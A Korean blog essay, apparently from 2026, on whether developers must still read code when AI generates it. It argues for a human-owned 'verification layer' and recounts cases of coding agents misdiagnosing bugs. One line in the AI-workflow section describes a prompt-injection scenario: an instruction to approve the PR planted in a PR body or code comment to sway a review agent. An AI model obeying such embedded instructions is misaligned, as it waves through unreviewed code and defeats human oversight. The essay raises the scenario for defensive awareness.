- [Are Roles and Responsibilities a Thing of the Past?](https://www.figma.com/blog/2025-shifting-roles-report/) (직무와 역할 구분은 과거의 유물인가?) - Figma (2025)
- [Why Demand for Designers Is on the Rise](https://www.figma.com/reports/design-hiring-study-2026/) (디자이너 수요가 늘고 있는 이유) - Figma (2026)
- [Designer and Developer Trends Report](https://www.figma.com/reports/designer-developer-trends/) (디자이너·개발자 트렌드 리포트) - Figma (2025)
- [The Anthropic Economic Index](https://www.anthropic.com/news/the-anthropic-economic-index) (앤트로픽 경제 지수) - Anthropic
- ['Guys, I'm under attack' — AI vibe coding in the wild](https://pivot-to-ai.com/2025/03/18/guys-im-under-attack-ai-vibe-coding-in-the-wild/) (실전에서 벌어진 AI 바이브 코딩 사고) - Pivot to AI
- [The hunt is on for the Renaissance Man of computing](https://wow.agiledata.io/wp-content/uploads/2022/10/David-Guest-1991-The-hunt-is-on-for-the-Renaissance-Man-of-computing.pdf) (컴퓨팅 분야의 르네상스적 인재를 찾아서) - David Guest, The Independent (1991)

---

Source: https://yceffort.kr/2026/06/do-you-need-to-read-code.md
Title: 코드를 읽거나 설명할 줄 몰라도, 스펙을 만족하고 버그를 고칠 수 있다면 상관없을까
Description: 스펙을 만족하고 버그를 고칠 수 있다면 코드를 읽을 줄 몰라도 될까. 이해는 사라지는 게 아니라 어디로 이동하는지를 따진다.
Date: 2026-06-12
Tags: ai, essay, code-review, software-engineering, testing
Series: AI 시대의 판단

## 개요

PR이 올라온다. 에이전트가 1차 리뷰를 달고, CI는 초록불이고, 기획은 승인을 보낸다. 정작 그 코드를 머지한 사람은 끝까지 읽지 않았다. 점점 흔해지는 풍경이다.

여기서 두 질문이 갈라진다. 하나는 검증이다. AI가 단 리뷰가 맞는지, 그 코드가 정말 스펙을 만족하는지 판단하려면 — 결국 누군가는 코드를 읽어야 한다. AI가 자신 있게 틀리는 지점을 알아채려면 코드뿐 아니라 모델이 어떻게 실패하는지까지 알아야 한다. 얼마 전 특정 환경에서만 터지는 버그를 에이전트에 맡겼더니, 흔한 용의자만 줄줄이 헛짚고 정작 범인인 조건문 한 줄은 끝내 못 짚었다. 내가 직접 코드를 읽고서야 잡혔다. 다른 하나는 성장이다. 코드 작성을 AI가 가져가는 시대에, 이제 막 시작하는 사람은 대체 무엇을 잘해야 하는가. 둘 다 쉽게 답이 안 나온다.

마침 이 주제를 정면으로 다루는 글이 연달아 나왔다. 리누스 토르발스는 [Open Source Summit 기조연설](https://thenewstack.io/torvalds-ai-programming-productivity/)에서 "코드 99%를 AI가 썼다"는 말에 화가 난다며, 그렇게 말하는 사람들의 코드 100%는 사실 컴파일러가 쓴 것이라고 받아쳤다. AI도 기계어→어셈블러→컴파일러로 이어진 추상화 도구의 연장선일 뿐이고, 시스템을 이해하는 사람만이 좋은 결과를 얻는다는 입장이다. Jimmy Koppel은 [Software Design in the Age of AI](https://self-service.mirdin.com/software-design-in-the-age-of-ai)에서 저수준 구현이 자동화될수록 고수준 설계 능력이 인간의 핵심 우위가 된다고 주장했다. Josh Collinsworth는 [반대 방향에서](https://joshcollinsworth.com/blog/productivity), AI가 실제 생산성보다 "생산적인 기분"을 만들어주는 것 아니냐며, 그 우위 자체가 어떻게 깎여 나가는지를 경고했다. 본인이 에이전트로 밀린 작업을 폭발적으로 처리했는데, 돌아보니 코드베이스는 나아졌을지 몰라도 자신은 나아진 게 없었고, 자기가 올린 PR을 방어할 수 없었다는 고백이다. 이건 기분 탓만은 아니다. METR이 숙련 오픈소스 개발자들을 대상으로 한 [통제 실험](https://arxiv.org/abs/2507.09089)에서, AI 도구를 쓴 작업은 실제로 19% _느려졌는데_ 참가자들은 자신이 20% 빨라졌다고 느꼈다. 표본이 16명으로 작아 일반화에는 한계가 있지만, 느낌과 실제가 정반대로 갈릴 수 있다는 것만큼은 분명히 보여준다.

세 글을 관통하는 질문을 하나로 압축하면 이렇다.

**코드를 읽거나 설명할 줄 몰라도, 스펙을 만족하고 버그를 고칠 수 있다면 상관없을까?**

좀 더 구체적으로 하면: QA가 통과시키고, 기획이 승인하고, 고객이 만족한다면 — 그 코드를 만든 사람이 코드를 읽을 줄 몰라도 되는가.

직관적으로 "그래도 읽을 줄은 알아야지"라고 답하고 싶어진다. 하지만 직관은 논증이 아니다.

## 찬성: 우리는 이미 코드를 읽지 않고 살고 있다

"상관없다"는 입장을 제대로 변호해보자. 약하게 세워서 두들기면 의미가 없다. 가장 강한 논증은 이렇다.

**첫째, 우리는 이미 그렇게 살고 있다.** 프론트엔드 앱에서 직접 작성한 코드의 비중은 전체의 1%도 안 된다. 나머지는 node_modules, 브라우저, V8, OS, 컴파일러, CPU 마이크로코드다. 이 거대한 코드 더미를 읽어본 사람은 없다. 전부 겉으로 드러나는 동작으로만 확인한다. 동작하는가, 테스트를 통과하는가, 문제가 생기면 메인테이너가 응답하는가. AWS 코드를 읽고 쓰는 사람은 없고, "고객이 OK"하는 방식으로 신뢰한다. 소프트웨어 공학은 처음부터 이해에 의한 신뢰가 아니라 인터페이스에 의한 신뢰로 굴러왔다. "코드를 읽을 줄 알아야 한다"는 주장은, 이미 99%에 적용하지 않는 규칙을 마지막 1%에만 선택적으로 들이대는 것이다.

**둘째, 코드 읽기는 목적이 아니라 그걸 대신 보던 신호였다.** 엔지니어링의 진짜 목표는 언제나 올바른 동작, 감당할 만한 비용, 고치기 쉬움이었다. 코드 읽기는 테스트가 비쌌던 시대에 그 동작을 미리 가늠하는 가장 싼 도구였을 뿐이다. 동작을 직접 확인하는 일이 충분히 싸고 촘촘해지면 — 자동 테스트, 타입 체크, 카나리 배포, 관측성, 고객 피드백 루프 — 대신 보던 신호는 쓸모가 줄어든다. 애초에 우리 스스로 캡슐화와 정보 은닉을 좋은 설계의 원칙으로 세웠다. 구현을 읽지 않아도 되게 만드는 것이 좋은 설계라고 수십 년간 가르쳐놓고, AI가 구현을 쓰니까 갑자기 구현을 읽어야 한다고 말하는 건 자기 원칙의 부정이다.

**셋째, 공학의 역사는 하위 레이어를 버려온 과정이다.** 기계어 → 어셈블리 → C → GC 언어 → 프레임워크. 매 전환마다 "진짜 엔지니어는 아래 레이어를 알아야 한다"는 사람들이 있었고, 매번 경제가 그들을 기각했다. 메모리 관리를 모르는 개발자가 주류가 됐고 아무 문제 없다. 토르발스 본인의 논리를 그대로 빌릴 수도 있다. 아무도 "내 코드 100%는 컴파일러가 썼다"고 말하지 않고, 컴파일러 출력을 읽어서 검증하는 사람도 없다. 툴체인과 테스트를 신뢰한다. 수리조차 이해를 요구하지 않게 됐다. 생성 비용이 0에 수렴하면 고장 난 것을 외과적으로 패치하는 대신 재생성하는 게 합리적이다. 실패 케이스를 테스트로 스펙에 추가하고, 재생성하고, 재검증한다. 인프라에서 이미 이긴 논리다. 고장 난 컨테이너를 고치는 사람은 없다. 재배포한다. [Cattle, not pets](http://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/) — 서버를 이름 붙여 키우는 애완동물처럼 손으로 돌보고 고쳐 쓸 것인가, 망가지면 미련 없이 버리고 똑같은 새 인스턴스로 갈아끼우는 가축 떼처럼 다룰 것인가. 한 번 띄운 서버는 두 번 다시 수정하지 않고 통째로 교체만 한다는 [Immutable infrastructure](https://martinfowler.com/bliki/ImmutableServer.html)가 정확히 이 논쟁의 한쪽이었고, 그쪽이 이겼다. 사람이 일일이 손본 서버는 아무도 그 상태를 재현하지 못하는 "눈송이(snowflake)"가 되어 더 위험하다는 게 결론이었다. AI는 그 다음 레이어이고, 코드라고 다를 이유가 없다.

**넷째, "읽기로 잡을 수 있다"는 버그는 읽기로도 못 잡는다.** 가장 흔한 반론 — 보안 취약점, 레이스 컨디션, 한참 뒤에야 드러나는 버그는 QA가 못 본다 — 에 대한 답이다. 그런 버그는 코드 리뷰로도 못 잡는다. 인간 코드 리뷰의 결함 검출을 다룬 [연구들](https://dl.acm.org/doi/10.5555/2486788.2486882)이 시사하는 건, 리뷰의 실제 산출이 결함 발견보다 가독성·지식 공유에 가깝고, 얕은 문제는 잡아도 동시성·보안 버그는 놓친다는 것이다. 이런 부류의 버그를 실제로 잡아내는 건 원래부터 읽기가 아니라 퍼저, 정적 분석, 속성 기반 테스트, 카나리, 관측성, 침투 테스트였다. 전부 돌려봐야 드러나는 도구들이다. 선택지는 "읽기 vs 무방비"가 아니라 "허술한 사람 눈 vs 검증 장치 강화"이고, 모두에게 코드 읽기를 가르치는 데 쓸 자원으로 그 장치를 강화하는 게 더 합리적이다.

**다섯째, 이해는 스케일하지 않고 검증과 책임은 스케일한다.** 코드 생산량은 폭증하는데 사람이 읽어낼 수 있는 양은 정해져 있다. 안전 전략이 "인간이 읽는다"에 의존하면, 코드량이 늘수록 안전은 계속 떨어지기만 한다. 바람직하냐를 떠나 지는 전략이다. 테스트와 모니터는 컴퓨트와 함께 스케일한다. 책임도 마찬가지다 — 규제 산업에서조차 감독 당국이 요구하는 설명 가능성은 엔지니어의 머릿속 이해가 아니라 감사 추적, 의사결정 로그, 재현 가능한 빌드, 문서화된 테스트 증거로 충족된다. 책임은 머릿속 이해의 문제가 아니라 계약의 문제다. 은행들은 이미 아무도 완전히 이해하지 못하는 COBOL을 수십 년째 돌리면서 프로세스 증거로 감사를 통과해왔다. 규모를 키울 수 있는 쪽에 거는 것이 공학적 선택이다.

여기까지가 찬성 측의 최선이다. 솔직히 꽤 강하다. 특히 첫째와 다섯째는 정면으로 반박하기 어렵다. 그런데 이 논증 전체에는 구조적 결함이 하나 있고, 그 결함이 결정적이다.

## 그러나: 조건문의 전제가 순환이다

원래 질문으로 돌아가자. "스펙을 만족하고 버그를 고칠 수 있다면." 이 조건문을 뜯어보면 다섯 군데에서 무너진다.

### 1. "스펙을 만족한다"를 누가 어떻게 아는가

코드를 읽지 못하는 사람이 알 수 있는 것은 "테스트가 통과한다"이지 "스펙을 만족한다"가 아니다. 이 둘은 정확히 비싼 지점에서 갈라진다. 테스트는 작성자가 생각해낸 케이스만 검증하고, 실무에서 터지는 버그의 상당수는 스펙 위반이 아니라 **스펙의 공백**이다. 레이스 컨디션, 경계값, 보안 취약점, 며칠 뒤에 드러나는 데이터 정합성 깨짐.

더 근본적으로, QA와 고객은 **일어난 일**만 관측할 수 있고 **일어나지 않아야 할 일**은 관측할 수 없다. "PII가 로그에 남지 않는다", "재시도 시 중복 결제가 발생하지 않는다" 같은, 일어나면 안 되는 일은 수용 테스트에 보이지 않는다. 고객은 인젝션 취약점이 없다는 사실을 "OK"할 수 없다. 보이지 않기 때문이다.

즉 "스펙을 만족한다면"이라는 그 전제가 참인지 확인하는 일 자체가 시스템 이해를 요구한다. 질문이 답을 미리 끼워 넣고 있는 셈이다.

### 2. 수리는 외주할 수 있어도 탐지는 외주할 수 없다

"버그를 고칠 수 있다"는 "버그가 있음을 알아챘다"를 은근슬쩍 깔고 있다. 고치는 일은 AI에 넘길 수 있다. 그러나 무언가 잘못됐다는 알아챔 — 특히 테스트가 전부 통과하는데도 뭔가 어긋났다고 느끼는 것 — 은 시스템 이해 없이는 생기지 않는다. 병목은 수리가 아니라 탐지이고, 조건문은 정확히 그 병목을 건너뛰고 있다.

이런 버그의 전형이 Koppel이 짚은 '숨겨진 커플링'이다. 멀리 떨어져 서로 무관해 보이는 두 코드가 실은 엮여 있어서, 컴파일 에러도 테스트 실패도 없이 숨어 있다가 엉뚱한 변경에서 터진다. 코드를 읽을 줄 모르면 이런 버그는 고치기 이전에 존재조차 알 수 없다.

### 3. 선례들이 성립했던 조건이 여기엔 없다

찬성 측의 가장 강한 무기였던 선례 논증 — 컴파일러, node_modules, AWS — 을 다시 보자. 그 선례들에는 둘 중 하나가 항상 있었다.

- **입력의 뜻이 그대로 보존된다.** 컴파일러는 내가 이해한 입력(소스 코드)의 의미를 고스란히 지킨다는, 수십 년간 검증된 보장이 있다. 컴파일러가 틀리면 뉴스가 된다.
- **이해를 보유한 책임 있는 반대 당사자.** npm 패키지가 깨지면 메인테이너가 고치거나, 내가 이해를 갖고 포크한다. SaaS가 깨지면 벤더가 SLA를 진다.

AI 생성 코드는 인류가 처음으로 **둘 다 없이** 의존하는 코드다. 입력은 뜻이 다 담기지 못하는 자연어이고, 그 뜻이 그대로 지켜진다는 보장도 없다. 맞은편에는 책임지는 사람이 없고, 그때그때 다르게 답하는 기계가 있을 뿐이다. 토르발스의 컴파일러 비유가 수사적으로 강력하지만 절반만 맞는 이유가 이것이다. 컴파일러는 같은 입력에 늘 같은 출력을 내고 그 정확성이 보장되지만, LLM은 그렇지 않다. "둘 다 추상화 도구"라는 프레임은 이 검증 비용의 차이를 가려버린다. 선례는 적용되지 않는다.

그래서 규제가 있는 도메인에서는 이 논쟁이 애초에 닫혀 있다. Anthropic이 최근 공개한 [Zero Trust for AI Agents](https://claude.com/blog/zero-trust-for-ai-agents) 가이드조차 금융·건강·개인 데이터를 다루는 산업에서 모든 에이전트 행동을 트리거 입력까지 역추적하고 설명하는 능력은 선택이 아니라고 못박는다. 찬성 측이 들었던 "책임은 계약적"이라는 논리는 맞지만, 그 계약을 충족하는 감사 추적과 설명을 _생산하려면_ 누군가는 시스템을 이해하고 있어야 한다. 감독 당국 앞에서 "테스트는 통과했는데 코드는 아무도 모릅니다"는 답변이 되지 않는다.

### 4. 검증은 시점이고 소유는 지속이다

QA·기획·고객의 OK는 특정 시점, 테스트된 경로, 지금의 부하에서 그 순간을 찍은 사진 한 장이다. 소프트웨어 소유는 그 게이트 **이후에** 도착하는 것들에 대한 지속 의무다. 보안 사고, 트래픽 10배, 다음 기능의 변경 비용.

기획이 OK한 것은 지금 기능이지 다음 기능의 수정 비용이 아니다. 그 비용은 기획이 볼 수 없는 코드 구조가 결정한다. 모든 수용 게이트를 통과하면서 동시에 수정 불가능해져가는 코드베이스는 얼마든지 가능하다. 게이트 이후에 응답할 주체가 없는 구도에서 "OK 받았으니 끝"은 검증의 완성이 아니라 책임의 공백이다.

### 5. 재생성 루프는 이해를 제거하지 않고 이동시킨다

찬성 측의 "재생성이 수리를 대체한다"는 논리는 결국 스펙으로 되돌아온다. 실패 케이스를 스펙에 추가하고 재생성하려면, 무엇이 실패했고 무엇을 스펙에 박아야 하는지 알아야 한다. 그게 시스템 이해다.

그리고 이해 없이 수리와 재생성을 반복하면 경험적으로 무슨 일이 벌어지는지 Collinsworth가 묘사했다. 읽지 않은 패치가 쌓이고, 코드베이스 복잡도가 오르고, 복잡도가 오를수록 LLM의 효율 자체가 떨어진다. Koppel도 같은 관찰을 했다. 자사 계약자가 코드 품질이 낮은 회사로 옮기자 Claude Code의 효율이 급격히 떨어졌다는 것이다. 앞서 본 METR의 결과 — 느려졌는데 빨라졌다고 느낀다 — 가 이 루프를 위험하게 만드는 정확한 이유다. 효율이 떨어지는 와중에도 본인은 빨라졌다고 믿으므로, 멈춰야 할 신호를 스스로 받지 못한다. 루프가 영원히 돈다는 보장은 어디에도 없다. 오히려 루프 자체가 자기 효율을 갉아먹는 구조다.

한 문장으로 압축하면 이렇다.

**그 조건문이 참인지 확인하는 데 필요한 능력이, 바로 그 조건문이 불필요하다고 주장하는 능력이다.**

## 이해는 사라지지 않고 형태를 바꾼다: 검증 레이어

그럼 반대 측의 승리인가. 그렇게 단순하지 않다. 찬성 측의 첫째, 셋째, 다섯째 논증 — 우리는 이미 99%를 안 읽고, 공학의 역사는 레이어를 버려온 과정이고, 이해는 스케일하지 않는다 — 은 여전히 유효하다. 코드를 매일 한 줄씩 읽는 일이 줄어드는 흐름 자체는 부정할 수 없다.

내 결론은 이렇다. 방향은 찬성이 맞고, 시점과 형태는 반대가 맞다. 이해는 제거되는 것이 아니라 "코드를 일상적으로 읽는 형태"에서 "무엇을 검증해야 하는지 아는 형태"로 이동한다. 그리고 후자를 가진 사람은 필요할 때 전자도 할 수 있다. 같은 근육이기 때문이다.

이 이동의 도착지를 구체적으로 그려보면, 생성은 AI가 하는 파이프라인에서 **"이 출력이 맞다/틀리다를 판정하는 장치 전체"를 설계하고 소유하는 역할**이 된다. 나는 이걸 검증 레이어라고 부르고 있다.

의도 → 스펙 → **[생성: AI]** → 정적 게이트 → 테스트 게이트 → 선별적 인간 리뷰 → 카나리 → 런타임 모니터 → 장애 대응

생성 단계 하나만 AI의 것이고, 나머지 전부가 검증 레이어다. 구체적으로 여섯 가지 일로 분해된다.

**1. 스펙을 검증 가능하게 쓰는 일.** 핵심은 "무엇을 해야 하는가"가 아니라 "무엇이 일어나면 안 되는가"다. "주문 API는 멱등해야 한다", "재시도 시 중복 결제가 발생하면 안 된다". AI는 시키는 것을 만들지, 시키지 않은 것을 안 한다는 보장은 못 한다. 무엇이 일어나면 안 되는지를 아는 것이 시스템 이해이고, 이게 스펙에 박혀야 "테스트 통과 ≈ 정확함"이 성립한다.

**2. 테스트 전략 설계.** 테스트 코드 작성이 아니다. 그건 AI가 한다. 문제는 AI가 자기 코드에 맞춰 테스트를 쓰면 순환 검증이라는 것이다. 자기가 낸 답안으로 자기를 채점하는 구조. 검증 레이어의 일은 이 순환을 깨는 설계다. 늘 지켜져야 하는 규칙엔 속성 기반 테스트, 경계엔 컨트랙트 테스트, 테스트 자체의 품질엔 뮤테이션 테스팅. 어떤 종류의 실패에 어떤 검증 도구를 붙일지 정하는 일이고, 이 짝이 틀리면 테스트가 1만 개 있어도 구멍이 난다.

**3. 읽기의 선별적 배치(triage).** 전부 읽는 게 아니라 어디를 읽을지 결정하는 능력이다. 인증, 돈이 흐르는 경로, 동시성, 데이터 마이그레이션, 의존성 변경 — 영향 범위가 큰 5%에 인간의 눈을 배치하고 나머지는 자동 게이트에 맡긴다. 이 위험 분류 자체가 시스템 이해를 요구한다. 어떤 코드를 안 읽어도 되는지 판단하려면 읽을 줄 알아야 한다는 역설이, 여기서 직무가 된다.

**4. 런타임 검증 설계.** 머지에서 검증이 끝나지 않는다. 카나리 배포, 동작이 지켜야 할 규칙이 깨지면 울리는 알림, 그리고 이상이 생긴 순간부터 알아채기까지 걸린 시간과 울린 알림 중 실제로 조사된 비율의 측정. 정적 검증이 못 잡는 실패를 운영 단계에서 잡는 그물을 짜는 일이다.

**5. 검증기 자체의 검증.** AI 워크플로우에 들어간 에이전트들 — 리뷰 에이전트, 테스트 생성 에이전트 — 도 검증 대상이다. 인간 리뷰어와의 일치율, 오탐률, 그리고 실패 시 철수 기준. 내가 만들고 있는 리뷰 에이전트에도 8주짜리 판정 기준을 걸어뒀다. 효과를 수치로 입증하지 못하면 내린다.

**6. 최후의 보루.** 위 다섯이 전부 뚫렸을 때, 직접 코드로 내려가 읽고 디버깅할 수 있는 능력이다. 평소엔 안 쓴다. 하지만 이게 있어야 나머지 전부가 믿을 만해진다. 이게 없으면 1~5번은 검증이 아니라 그냥 프로세스 관리다. 로봇 수술 시대에 외과의사의 집도 횟수는 줄지만, 수술 못 하는 사람이 로봇을 감독하면 그건 의사가 아니라 행정가이고, 합병증이 터지는 순간 환자가 죽는다.

### 그리고 이해해야 할 시스템이 하나 늘었다

검증 레이어가 AI 이전의 시니어 역할과 다른 점이 하나 있다. 이해해야 할 시스템이 두 개가 됐다는 것이다. **소프트웨어 시스템(산출물)과, 그 소프트웨어를 생산하는 시스템(생성기).**

AI 이전에는 코드를 만드는 게 사람이었고, 사람이 어떻게 실수하는지는 감으로 알았다. 피곤하면 실수하고, 티켓을 잘못 읽고, 귀찮으면 테스트를 대충 쓴다. 리뷰어의 직관은 이 실패 모델 위에 서 있었다. 지금 만드는 쪽은 같은 걸 물어도 매번 답이 달라지는 기계이고, 실수하는 방식이 사람과는 딴판이다. 자신 있게 지어내고, 시키는 건 만들지만 시키지 않은 '하면 안 되는 것'은 모르고, 학습 데이터에서 가장 흔한 평범한 설계로 쏠리고, 자기 코드에 맞춰 테스트를 써서 제 답으로 제 답을 채점하고, 숨겨진 커플링에 구조적으로 약하다.

앞서 말한 그 사건이 전형적이다. 특정 개발 환경에서만 로그가 수십 배로 누적되는 문제였고, 에이전트에게 원인을 찾게 했다. 에이전트는 토큰을 한참 태우면서 IntersectionObserver, fetch 등 "중복 이벤트의 흔한 용의자들"을 차례로 헛짚었다. 실제 원인은 그런 게 아니었다. Next.js는 설정 함수의 첫 인자로 `PHASE_DEVELOPMENT_SERVER` 같은 phase 값을 넘겨주는데, 이 phase 비교 하나가 잘못되어 해당 환경에서만 의도와 다른 설정 분기를 타고 있었던 것뿐이다. 결국 직접 코드를 읽고서야 찾았다.

이 사건이 보여주는 건 모델의 실패 방식이다. 모델은 인과를 추적한 게 아니라, 학습 데이터에서 "로그 중복"과 자주 함께 등장한 패턴들을 순회했다. 그럴듯한 용의자 목록은 길게 뽑지만, 지루한 조건문 한 줄이 범인인 사건은 풀지 못한다. 그리고 그 과정 내내 에이전트는 대단히 생산적으로 _보였다_. 계속 무언가를 조사하고 있었으니까. Collinsworth가 말한 인식과 실제의 격차가 디버깅에서는 이런 모습으로 나타난다.

비슷한 사례가 하나 더 있다. Next.js 서비스의 성능을 개선해달라고, 별다른 지침 없이 코드베이스를 통째로 맡겨봤다. 에이전트는 서버와 클라이언트 코드를 부지런히 뒤지며 memo 추가, dynamic import, 불필요한 lazy initialization 같은 마이크로 최적화들을 찾아왔다. 틀린 건 아니었지만 본질이 아니었고, 에이전트 스스로도 이 변경들의 영향은 미미할 거라며 "이미 성능이 잘 나오도록 설계된 프로젝트"라는 결론까지 내렸다. 실제 문제는 코드가 아니라 의존성 트리에 있었다. 중복된 패키지와 서로 일치하지 않는 버전들이 같은 라이브러리를 번들에 여러 벌 싣고 있었고, 전체 번들 사이즈를 키우는 주범은 그것이었다. [이전 글에서 다뤘듯](https://yceffort.kr/2026/05/pr-diff-vs-bundle) 번들 비용은 개별 파일 레벨에서는 보이지 않는다. 에이전트는 파일 단위로 코드를 읽지만, 번들이 어떻게 짜이는지는 의존성 그래프 전체를 봐야 드러나는 성질이라 어떤 파일에도 적혀 있지 않다. "잘 설계됐다"는 판정은 자기가 볼 수 있는 레이어 안에서만 참이었고, 모델은 자기 시야 밖에 레이어가 있다는 사실을 모른 채 자기 시야를 전체로 보고했다.

흥미로운 건, 같은 에이전트에게 lockfile을 주고 "중복 의존성을 찾아라"라고 시켰다면 아마 잘 찾았을 거라는 점이다. 문제는 능력이 아니라 조준이었다. "성능을 개선해줘"라는 모호한 목표 앞에서 모델은 자기가 볼 수 있는 단위, 즉 개별 코드에서 최적화 거리를 찾을 뿐, 문제가 어느 레이어에 사는지를 판단하지 못한다. 그 판단이 시스템 이해이고, 사람이 조준을 잡아주지 않으면 모델의 능력은 엉뚱한 곳에서 소진된다.

두 사례는 실패의 방향이 다르다. 첫 번째는 깊이의 실패다. 인과를 끝까지 추적하지 못하고 그럴듯한 패턴을 순회했다. 두 번째는 넓이의 실패다. 문제가 사는 레이어를 특정하지 못하고 보이는 단위에서만 팠다. 공통점은 하나다. 둘 다 사람이 시스템을 이해하고 있어야만 교정할 수 있었다.

여기서 예상되는 반박이 있다. "더 좋은 모델에 더 많은 토큰을 주고 오래 분석시켰다면 결국 찾았을 것 아닌가." 부분적으로 맞는 말이다. 더 나은 도구를 붙이고 — lockfile 접근, 번들 분석기, bisect — 충분히 돌리면 두 문제 모두 결국 찾았을 가능성이 높다. 그래서 분명히 해두자면, 이 사례들은 모델의 한계 고발이 아니다. 반년 뒤의 모델은 이 버그들을 찾아낼지도 모른다.

여기서 두 가지가 드러난다. 하나는 시스템을 알면 어디부터 봐야 할지가 단번에 좁혀진다는 것이다. Next.js 설정 구조를 아는 사람은 "특정 환경에서만 발생한다 → 환경을 가르는 분기 → phase"로 몇 분 만에 도달한다. 그 지식이 없으면 코드, 설정, 인프라, 의존성이 전부 후보로 남는다. 살펴봐야 할 곳이 폭발하고, 토큰은 그 모든 곳을 일일이 뒤지는 비용이다. 둘 다 정답에 도달하더라도 드는 비용이 다르다.

더 본질적인 건 종료와 수용의 문제다. 이건 토큰을 더 쏟는다고 풀리지 않는다. 실제 사건에서 모델은 "못 찾겠다"로 끝나지 않았다. "이미 잘 설계된 프로젝트"라는 자신 있는 오답으로 종료했다. 토큰을 10배 줘도 같은 종료 행동이면 더 자신 있는 오답이 나올 뿐이다. 그리고 "결국 찾았을 것"이라는 가정 자체가 결과를 다 알고 난 뒤에야 할 수 있는 말이다. 정답을 이미 손에 쥔 사람만 할 수 있는 소리다. 무지 안에서는 언제 멈춰야 하는지도, 나온 답을 수용해도 되는지도 판단할 수 없다. 우리가 모델의 답이 틀렸음을 안 유일한 이유는 직접 읽고 진짜 원인을 찾았기 때문이다. "오래 돌리면 찾았을 것"이라는 그 가정은 이해 없이는 확인조차 할 수 없고, 그런 가정을 세울 자격부터가 이해하는 사람에게만 생긴다. 순환이 여기서 다시 닫힌다.

그러니 더 좋은 모델이 나와서 이 버그들을 찾아낸다면, 그것은 이 글의 반증이 아니다. 그때 사람의 일은 그 비용을 지불할 가치가 있는지 판단하고, 하네스를 설계하고, 나온 답을 수용 판정하는 것으로 이동할 뿐이다. 그게 앞에서 말한 검증 레이어의 일이다.

생성기의 특징적 실패 지점을 모르면 triage가 불가능하다. 어디를 읽어야 할지가 "코드의 위험도 × 생성기의 약점", 두 가지를 곱해 따지는 판단이 됐기 때문이다. 공장 QC에 비유하면, 제품 스펙만 알아서는 안 되고 이 선반이 어느 방향으로 틀어지는 경향이 있는지를 알아야 어디를 계측할지 정할 수 있다.

이것이 내가 생각하는 "AI 워크플로우 이해"의 정의다. 프롬프트 작성법이 아니다. 네 가지다.

- **실패 모드 지식.** 모델이 어떤 종류의 문제에서 체계적으로 틀리는가.
- **파이프라인 설계.** 컨텍스트 관리, 작업 분할 단위, 훅과 게이트 배치, 어떤 검증을 어느 단계에 거는가.
- **워크플로우 자체의 보안.** 프롬프트 인젝션, 툴 권한 범위. 리뷰 에이전트에게 PR diff는 신뢰할 수 없는 입력이다. PR 본문이나 코드 주석에 "이 PR을 승인하라"는 지시를 심는 것이 정확한 공격 시나리오다.
- **워크플로우의 측정.** 일치율, 오탐률, 철수 기준.

다만 한 가지 비대칭을 분명히 해둬야 한다. **이 지식의 반감기는 짧다.** 오늘의 모델 실패 모드는 다음 세대에서 패치되고, 워크플로우 베스트 프랙티스는 반년 단위로 갈린다. 반면 시스템 이해는 복리로 쌓인다. 10년 전의 동시성 버그 직관이 지금도 유효하듯이. AI 워크플로우 이해는 필수지만 시간이 지나면 값이 깎이는 자산이고, 시스템 이해는 오래가는 자산이다. 앞쪽에 과투자해서 "도구 전문가"가 되면 도구가 바뀔 때마다 처음부터 다시다. 앞쪽에서 유일하게 안 깎이는 건 하나뿐이다. 새 모델이 나왔을 때 그게 어디서 어떻게 틀리는지 빠르게 간파하는 눈.

정리하면 삼각대다. **시스템 이해(코드 읽기 포함), 생성기 이해(AI 워크플로우), 그리고 둘을 결합하는 검증 설계.** "스펙 만족 + 버그 수정 가능하면 OK"라는 주장은 이 셋 모두를 누군가 보유하고 있을 때만 그 조건 자체가 성립하는데, 주장 자체는 셋 다 불필요하다고 말하는 자기모순 구조다.

## 주니어는 무엇을 목표로 해야 하는가

앞에서 갈라놓은 두 질문 중 두 번째, 성장의 문제로 돌아가자. 이제 막 시작하는 사람에게 뭐라고 말해줘야 하나.

삼각대를 그대로 던지면 안 된다. 그건 도착점의 묘사이지 커리큘럼이 아니다. 검증 설계는 시스템 이해 위에만 선다. "무엇이 일어나면 안 되는지"를 스펙으로 떠올리는 능력은 그런 장애를 직접 추적해본 사람에게만 생기고, triage는 위험한 코드를 알아보는 눈을 전제하는데 그 눈은 코드를 많이 읽고 부숴본 데서 온다. 만들어보지도 부숴보지도 않은 것을 검증할 수는 없다.

그리고 그 전에, 주니어가 마주한 진짜 문제를 먼저 이름 붙여야 한다. **일이 더 이상 공짜로 훈련시켜주지 않는다.** AI 이전에는 업무 수행이 곧 실력 축적이었다. 에이전트와 일하는 지금은 업무를 잘 수행할수록 배우는 게 없을 수 있다. Collinsworth가 던진 "주니어가 3년간 아무것도 못 배우면 시니어는 어디서 나오나"가 정확히 이 문제다. 예전에는 일이 훈련이었는데, 이제 훈련을 따로 설계해야 한다.

목표를 한 문장으로 준다면 이것이다.

**AI보다 빨리 쓰는 사람이 아니라, AI가 틀렸음을 가장 빨리 알아채는 사람이 되어라.**

생성 속도는 모두에게 평등하게 주어졌으니 차별화가 아니고, 틀림을 감지하는 능력은 훈련 없이는 안 생기니 차별화다. 이걸 행동 규칙으로 분해하면 순서가 있다.

**1. 설명할 수 없는 코드를 머지하지 않는다.** 단 하나의 규칙만 남긴다면 이것이다. 모든 PR에 대해 "왜 이렇게 했고, 뭐가 잘못될 수 있는지"를 리뷰어 앞에서 설명할 수 있어야 한다. 이 규칙의 장점은 강제력이 자연스럽다는 것이다. AI 사용을 금지하지 않으면서, 읽기가 필요한 지점에서만 정확히 읽기를 강제한다. "PR을 열었지만 방어할 수 없었다"는 상태를 구조적으로 차단한다.

**2. 디버깅에 자원한다.** 장애와 근본 원인 분석은 AI 시대에 남은 마지막 자연 훈련장이다. 디버깅은 읽기를 강제하고, 가설 수립을 강제하고, 시스템 이해를 강제한다. 그리고 아직 외주가 안 된다. 장애가 터지면 구경하지 말고 들어가고, 포스트모템을 전부 읽어라. 무엇이 잘못될 수 있는지 아는 능력은 강의가 아니라 잘못된 것을 직접 추적해본 경험에서만 나온다.

**3. 작은 것이라도 유지보수까지 소유한다.** 만들고 버리는 사이드 프로젝트는 이제 훈련 가치가 거의 없다. 생성이 공짜이기 때문이다. 가치는 유지 단계에 있다. 6개월 이상 굴리면서 자기가 만든 것의 버그를 자기가 맞아보는 경험. 숨겨진 커플링과 스펙의 공백 같은 개념은 글로 배워지지 않고, 자기 코드가 부메랑으로 돌아올 때 체득된다. 열 개를 빨리 만드는 것보다 하나를 오래 운영하는 것이 나은 목표다.

